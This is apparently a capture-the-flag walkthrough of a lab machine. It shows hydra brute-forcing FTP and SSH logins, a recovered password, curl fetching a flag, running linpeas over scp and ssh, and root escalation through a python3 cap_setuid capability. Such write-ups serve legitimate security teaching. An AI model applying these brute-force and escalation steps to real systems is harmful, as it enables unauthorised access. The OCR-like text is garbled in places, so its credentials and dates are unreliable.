



[20-Jun-2014] → sea
Exploit
vsftpd_3

A screenshot of a Firefox browser window. The address bar shows 'ftp://10.10.10.245'. A modal dialog box is open, titled 'Authentication Required - Mozilla Firefox'. The dialog contains a key icon and the text 'ftp://10.10.10.245 is requesting your username and password.' Below this are two input fields: 'User Name:' and 'Password:', both currently empty. At the bottom are 'Cancel' and 'OK' buttons.

Port 80

Immediately, we can write down `nathan` in our notes - a username that may prove useful later.

The screenshot shows a web-based security dashboard with a purple header bar. The header includes a search bar, a menu icon, and a user profile for "Nathan". Below the header, there are three main performance metrics displayed as line graphs:

- Security Events:** 1,560 (24 H, +15%)
- Failed Login Attempts:** 357 (24 H, -10%)
- Port Scans (Unique IPs):** 27 (24 H, +28%)

The dashboard also features a sidebar on the left with tabs for "Dashboard", "Home / Dashboard", and other navigation links.

Tab on the left

The screenshot shows a sidebar menu with the following items:

- Dashboard
- Dashboard
- Security Snapshot (5 Second PCAP + Analysis)
- IP Config
- Network Status

Packets

```
4    nmap hydra  
5    hydra -L users  
6    #in this hydra  
7    hydra -L users
```

```
[20-Jun-21 13:54:41 BST] cap/enum
→ hydra -L users.txt -P passwords.txt ftp://10.10.10.245
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-20 1
3:54:53
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 t
ry per task
[DATA] attacking ftp://10.10.10.245:21/
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-20 1  
3:54:54  
[20-Jun-21 13:54:54 BST] cap/enum  
→ hydra -L users.txt -P passwords.txt ssh://10.10.10.245  
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use  
in military or secret service organizations, or for illegal purposes (this  
is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-20 1  
3:56:42  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is  
recommended to reduce the tasks: use -t 4  
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 t  
ry per task  
[DATA] attacking ssh://10.10.10.245:22/  
[22][ssh] host: 10.10.10.245 login: nathan password: Buck3tH4TEORM3!
```

FTP

For the sake of fun, let's take a look at the **FTP** before we get into the SSH.

```
1 #Using CURL to quickly enum an FTP
2 curl ftp://10.10.10.245 -u nathan:Buck3tH4TF0RM3!
3
4 #Pull the file by adding its path
5 curl ftp://10.10.10.245/user.txt -u nathan:Buck3tH4TF0RM3!
```

```
[20-Jun-21 14:03:42 BST] cap/enum
→ curl ftp://10.10.10.245 -u nathan:Buck3th4TF0RM3!
-r----- 1 1001 1001 33 Jun 20 12:22 user.txt
[20-Jun-21 14:03:45 BST] cap/enum
→ curl ftp://10.10.10.245/user.txt -u nathan:Buck3th4TF0RM3!
c99922d1a37e3104decee2bd2688c76b
```

```
your Internet connection or proxy settings

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ █
```

```
2  
3 #upload linpeas  
4 scp linpeas.sh nathan@10.10.10.245:/tmp  
5 #run linpeas from ssh  
6 ssh nathan@10.10.10.245 'bash /tmp/linpeas.sh > peas.txt'  
7 #wait a while. Then, pull linpeas output back to Kali  
8 scp nathan@10.10.10.245:/tmp/peas.txt .
```

```
nathan@nathan:~$ password.  
.....  
C[20-Jun-21 14:20:54 BST] cap/enum  
🔍 → scp nathan@10.10.10.245:/tmp/peas.txt .
```

```
CapBnd: 0000003fffffff  
CapAmb: 0000000000000000

Shell capabilities:  
0x0000000000000000=  
CapInh: 0000000000000000  
CapPrm: 0000000000000000  
CapEff: 0000000000000000  
CapBnd: 0000003fffffff  
CapAmb: 0000000000000000

Files with capabilities (limited to 50):  
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip  
/usr/bin/ping = cap_net_raw+ep  
/usr/bin/traceroute6.iputils = cap_net_raw+ep  
/usr/bin/mtr-packet = cap_net_raw+ep
```

PrivEsc

Hacktricks has an example for our exact privesc: https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_setuid

```
1 #start python up and import OS library
2 /usr/bin/python3
3 import os
4 #set out UID to 0, effectively root
5 os.setuid(0)
```